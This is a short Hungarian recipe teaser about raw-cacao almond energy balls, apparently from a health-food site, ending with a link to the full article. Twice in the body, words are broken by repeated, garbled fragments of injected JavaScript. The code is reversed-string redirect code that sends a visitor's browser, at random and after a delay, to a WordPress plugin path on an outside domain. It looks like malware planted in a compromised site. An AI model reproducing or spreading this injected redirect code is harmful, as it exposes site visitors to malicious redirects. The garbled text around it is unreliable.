Mandulás nyers kakaós energiagolyó, ami garantáltan átsegít a napon

Nincs ennél könnyebb és energiadúsabb reggeli, aminek a maradékát még desszert gyanánt ebéd utánra is bedobhatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tod. Nagy előnye, hogy szuper könnyű elkészíteni, ráadásként minden egyes összetevője egy táplálkozási energiabomba! A reggeli alapjául szolgáló nyers kakaóról gyakran elfeledkeznek, pedig a nyers kakaópor, hétszer több antioxidánst tartalmaz, mint a hagyományos kakaópor, ráadásként ásványianyag-, vitamin és esszenciális aminosavtartalma is jóval magasabb. Mindezeken túl tartalmaz anandamide-t, ami egy neurotranszmitter. Ez utóbbit „boldogságmolekulaként” szokták emlegetni, ugyanis csökkenti a szorongásérzést, és a stresszt. A másik alapanyag, a mandula szintén kedves a szervezetnek. A mandula fehérjét, egyszeresen telítetlen, és többszörösen telítetlen zsírsavakat, olajat, szénhidrátoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokat és ásványi sókat…

A cikk folytatódik: http://biokalauz.co.hu/elelmiszer/2018/01/10/mandulas-nyers-kakaos-energiagolyo-ami-garantaltan-atsegit-a-napon.html